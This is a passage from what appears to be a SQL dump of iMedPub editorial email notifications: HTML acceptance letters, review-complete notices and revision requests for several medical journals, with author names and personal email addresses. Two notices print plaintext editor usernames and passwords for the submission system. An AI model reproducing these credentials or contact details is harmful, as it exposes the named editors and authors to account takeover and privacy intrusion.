/>\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','psiquiatria2020@bol.com.br',10838,'2021-10-12',85),(3824,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-10143</b><br />\r\n            <br />\r\n            Article Title: <b>Mental health interest groups in medical schools: a strategy applicable in times of COVID-19 for childrens and adolescents</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Lozada Martinez</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ivandavidloma@gmail.com',10143,'2021-10-13',274),(3825,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-10139</b><br />\r\n            <br />\r\n            Article Title: <b>Post-COVID 19 syndrome: examining phenotypes</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Lozada Martinez</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ivandavidloma@gmail.com',10139,'2021-10-13',274),(3826,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-10139</b><br />\r\n            <br />\r\n            Article Title: <b>Post-COVID 19 syndrome: examining phenotypes</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivosdemedicina.com/\" target=\"_blank\">Archivos de Medicina</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Lozada Martinez</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archivos de Medicina</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-12</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:accounting@journalinvoice.com\">accounting@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','ivandavidloma@gmail.com',10139,'2021-10-13',274),(3827,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-10452</b><br />\r\n            <br />\r\n            Article Title: <b>ENFOQUE Y MANEJO DE LA ENFERMEDAD DIARREICA AGUDA: REVISI&Atilde;&ldquo;N DE LA LITERATURA</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Marvin Beltr&Atilde;&iexcl;n Castro</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Tavares S&aacute;nchez</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipadm-21-10452</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','dr.tavaressanchez@gmail.com',10452,'2021-10-13',274),(3828,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipadm-21-10147</b><br />\r\n            <br />\r\n            Article Title: <b>PIE DIABETICO. HERRAMIENTAS PARA LA IDENTIFICACI&Atilde;&ldquo;N DEL PIE EN RIESGO Y SU INTERVENCI&Atilde;&ldquo;N OPORTUNA.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Christian Perez</b><br />\r\n            <br />\r\n            Journal Title: <b>Archivos de Medicina</b><br />\r\n            <br />\r\n            Dear Dr. <b>Calmet Schwartzmann</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipadm-21-10147</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivosdemedicina.com/\">Archivos de Medicina</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','FCalmet@med.miami.edu',10147,'2021-10-13',274),(3837,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-10873</b><br />\r\n            <br />\r\n            Article Title: <b>The Effect of Health-Related Behaviors on Income in China: A Panel Data Analysis</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Xie</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','1756314803@qq.com',10873,'2021-10-19',48),(3838,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>iphsj-21-11038</b><br />\r\n            <br />\r\n            Article Title: <b>Case Report: LDAC for the Treatment of Post-Splenectomy Newly Diagnosed PMF Patent with Oral Treatment Inability </b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.hsj.gr/\" target=\"_blank\">Health Science Journal</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Hakobyan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Health Science Journal</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-18</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:finance@galleyproofs.com\">finance@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.hsj.gr/\">Health Science Journal</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','yero75@yahoo.com',11038,'2021-10-19',48),(3839,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-10799</b><br />\r\n            <br />\r\n            Article Title: <b>Effects of EEG signal to Parkinson disease through deep recurrent neural network.</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Gholami Farkoush Saeid</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Youssef </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-10799</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> al-tonbary<br />\r\n            <b>Password:</b> 8kU2pAjI<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ytonbary@gmail.com',10799,'2021-10-19',85),(3840,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8589</b><br />\r\n            <br />\r\n            Article Title: <b>VICTIMS OF INEQUALITIES: HEALTH SITUATION OF BLACK AND POOR WOMEN CONFRONTING COVID-19</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Modesto Leite Rolim Neto</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Minic </b><br />\r\n            <br />\r\n            All reviews for manuscript <b>ipaom-21-8589</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a>, Please find the below login credentials<br />\r\n            <br />\r\n            <b>User Name:</b> ivann<br />\r\n            <b>Password:</b> UqeyShwL<br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice All Reviews Complete','ivanminicc@yahoo.com',8589,'2021-10-19',85),(3842,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-10882</b><br />\r\n            <br />\r\n            Article Title: <b>Admissions of acute coronary syndrome among patients during early phase and after one year of coronavirus disease 2019 (COVID-19) pandemic in Gaza</b><br />\r\n            <br />\r\n            Corresponding Author: <b>mohammed Habib</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-10882</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',10882,'2021-10-20',988),(3843,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-10882</b><br />\r\n            <br />\r\n            Article Title: <b>Admissions of acute coronary syndrome among patients during early phase and after one year of coronavirus disease 2019 (COVID-19) pandemic in Gaza</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Habib</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','cardiomohammad@yahoo.com',10882,'2021-10-20',988),(3844,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8589</b><br />\r\n            <br />\r\n            Article Title: <b>VICTIMS OF INEQUALITIES: HEALTH SITUATION OF BLACK AND POOR WOMEN CONFRONTING COVID-19</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rolim Neto</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','modesto.neto@ufca.edu.br',8589,'2021-10-20',85),(3845,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-10763</b><br />\r\n            <br />\r\n            Article Title: <b>TREATMENT OF PERIAPICAL CHRONIC PERIODONTITIS USING ANTIFUNGAL DRUGS</b><br />\r\n            <br />\r\n            Corresponding Author: <b>Gagik Hakobyan</b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-10763</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',10763,'2021-10-20',988),(3846,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-10763</b><br />\r\n            <br />\r\n            Article Title: <b>TREATMENT OF PERIAPICAL CHRONIC PERIODONTITIS USING ANTIFUNGAL DRUGS</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.jbiomeds.com/\" target=\"_blank\">Journal of Biomedical Sciences</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Hakobyan</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Journal of Biomedical Sciences</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-19</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:paymentproof@journalinvoice.com\">paymentproof@journalinvoice.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','prom_hg@yahoo.com',10763,'2021-10-20',988),(3854,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8594</b><br />\r\n            <br />\r\n            Article Title: <b>SOCIAL DISPARITIES:  HEALTH CARE  OF THE AFRO-BRAZILIAN POPULATION: SYSTEMATIC REVIEW</b><br />\r\n            <br />\r\n            Journal Title: <b>Archives of Medicine</b><br />\r\n            <br />\r\n            Dear Dr. <b>Minic </b><br />\r\n            <br />\r\n            This is to bring to your notice that the article having  <b>ipaom-21-8594</b> for the <b>Archives of Medicine</b> is ready with its revised version.<br />\r\n            <br />\r\n            I would request you to take the assignment for handling this revised copy and expects a prompt decision from your side.<br />\r\n            <br />\r\n            Please submit your decision within 48 hours of submission failing of which will be considered as accepted for publication.<br />\r\n            <br />\r\n            Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Revision Submitted','ivanminicc@yahoo.com',8594,'2021-10-21',85),(3856,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-8594</b><br />\r\n            <br />\r\n            Article Title: <b>SOCIAL DISPARITIES:  HEALTH CARE  OF THE AFRO-BRAZILIAN POPULATION: SYSTEMATIC REVIEW</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Rolim Neto</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-20</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','modesto.neto@ufca.edu.br',8594,'2021-10-21',85),(3863,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipaom-21-10799</b><br />\r\n            <br />\r\n            Article Title: <b>Effects of EEG signal to Parkinson disease through deep recurrent neural network.</b><br />\r\n            <br />\r\n            Journal Title: <b><a href=\"https://www.archivesofmedicine.com/\" target=\"_blank\">Archives of Medicine</a></b><br />\r\n            <br />\r\n            Dear Dr. <b>Saeid</b><br />\r\n            <br />\r\n            I am pleased to tell you that your work has now been accepted for publication in <b>Archives of Medicine</b>.<br />\r\n            <br />\r\n            It is accepted on  <b>2021-10-21</b><br />\r\n            <br />\r\n            <div style=\"border:3px solid #009933; padding: 5px;\">Congratulations on acceptance of the article. Our finance team will contact you with the galley proof and invoice within 48-72hrs.  Please mail us at <b><a href=\"mailto:invoiceproof@galleyproofs.com\">invoiceproof@galleyproofs.com</a></b> for further queries by copying/marking Cc to the journal mail id.</div>\r\n            <br />\r\n            <br />\r\n            With Regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.archivesofmedicine.com/\">Archives of Medicine</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',1,'Author Notification: Accept','saeid_gholami@ynu.ac.kr',10799,'2021-10-22',85),(3868,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  <b>ipjbs-21-10737</b><br />\r\n            <br />\r\n            Article Title: <b>Point of use Cleaning </b><br />\r\n            <br />\r\n            Corresponding Author: <b>Ghulam Abbas </b><br />\r\n            <br />\r\n            Journal Title: <b>Journal of Biomedical Sciences</b><br />\r\n            <br />\r\n            Dear Dr. <b>Shekhar</b><br />\r\n            <br />\r\n            The review for the manuscript <b>ipjbs-21-10737</b> have been submitted<br />\r\n            <br />\r\n            Please click on this link to access the submission : <a href=\"https://www.imedpub.com/editorial-tracking/\">https://www.imedpub.com/editorial-tracking/</a><br />\r\n            <br />\r\n            Kind regards,<br />\r\n            Managing Editor,<br />\r\n            <b><a href=\"https://www.jbiomeds.com/\">Journal of Biomedical Sciences</a></b></td>\r\n        </tr>\r\n    </tbody>\r\n</table>',2,'Editor Notice Completed Review','sekharsudhansu@hotmail.com',10737,'2021-10-23',988),(3869,'<table height=\"90\" cellspacing=\"4\" cellpadding=\"4\" width=\"663\" align=\"center\" bgcolor=\"#ffffff\" border=\"0\" style=\"border:3px solid #cccccc\">\r\n    <tbody>\r\n        <tr>\r\n            <td style=\"border-bottom:4px solid #009933\">\r\n            <h1 style=\"color:#009933\">iMedPub LTD</h1>\r\n            </td>\r\n        </tr>\r\n        <tr>\r\n            <td align=\"left\" style=\"font-family:Verdana, Arial, Helvetica, sans-serif; font-size:12px\"><br />\r\n            Ref.:  Ms. No.  